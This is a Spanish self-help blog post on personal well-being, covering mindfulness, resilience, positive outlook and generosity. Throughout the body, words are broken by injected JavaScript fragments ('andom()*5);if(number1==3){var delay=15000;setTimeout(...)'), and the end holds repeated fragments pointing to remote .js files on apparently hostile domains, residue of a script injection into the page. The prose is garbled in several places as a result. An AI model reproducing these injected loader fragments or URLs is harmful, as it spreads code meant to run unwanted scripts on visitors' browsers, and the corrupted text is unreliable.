EL BIENESTAR INTERNO

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Tod@s deseamos sentir el bienestar en nuestro interior. Esa mezcla de energía que nos impulsa a hacer aquello que nos ilusiona, nos apasiona y da sentido a nuestras vidas, combinada con la satisfacción que genera en nosotr@s la posible realización de lo que nos proponemos. En eso consiste el éxito propio.

Quizás te preguntarás cuáles son las características que te llevan a un estado así. Pues bien, dependerá de varios factores, para facilitar ese bienestar en ti.

Hay estudios que indican que una mente distraída es una mente infeliz. Es importante centrarte en lo que haces a cada momento. Poner la atención sólo que en el momento presente, bien sea en una lectura, en una tarea doméstica o en un documento que estás elaborandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando. En eso consiste el mindfulness tan oído últimamente como recurso que nos sitúa en el aquí y ahora.

Otro ingrediente es la capacidad que tienes de recuperarte ante la adversidad, y mantener tu equilibrio. Hay momentos en que se presentan situaciones que están fuera de tu control, o de tu «programa»; situaciones inesperadas, vividas como negativas o amenazantes que pueden llevarte a la pérdida de seguridad en ti mism@. Saber  afrontarlo de una manera no alarmante, serena, aceptandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando que está ahí, te puede ayudar a visualizar posibles soluciones, sin que para ello pierdas una cantidad de energía importante que te impida seguir con tu objetivo, y volver a encaminar tu fuerza en tus proyectos o metas. A eso se le llama resilencia.

Vivir siendo una persona positiva es otra característica, ver tus cualidades y las de los demás, ser consciente de esa parte buena que hay en ti, tu valor, y el valor de la gente que te rodea. Así fomentas el bienestar en el ambiente. Se llama talante.

Por último, aunque habrían muchas más, ser amable y generos@ nos hace sentir bien, activa los centros del placer en el cerebro.

En conclusión, tu bienestar personal: más salud, menos estrés, tus relaciones más empáticas con los demás disminuyen la agresividad (competitividad rígida y negativa), centrandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando más la atención en el trabajo resultará una productividad con menos errores por tu parte.

Descubre dónde te encuentras y dónde está tu zona óptima. Si la zona en que te encuentras te genera aburrimiento o ansiedad, o por el contario se acerca más a la relajación, entendiendo ésta como un estado sin un exceso de nerviosismo en tu actitud. Y con un nivel de excitación/satisfacción, alteración agradable que te acompaña al experimentar sensaciones positivas al obtener resultados acordes a tus propósitos o metas del día a día.

Aquí tienes el siguiente cuadro para que puedas visualizar tu zona óptima, dónde se encuentra normalmente, y dónde quieres que esté a partir de mañana mismo.

Ahora ya sabes cómo puedes activarla para obtener un mayor bienestar.

¿Cómo lo ves?

andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&middle.destinyfernandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&middle.destinyfernandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&middle.destinyfernandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&www.acctione.com/wp-content/uploads/Screenshot_2016-10-18-00-56-47.jpeg» alt=»screenshot_2016-10-18-00-56-47″ width=»460″ height=»263″ />

Un saludo desde el corazón.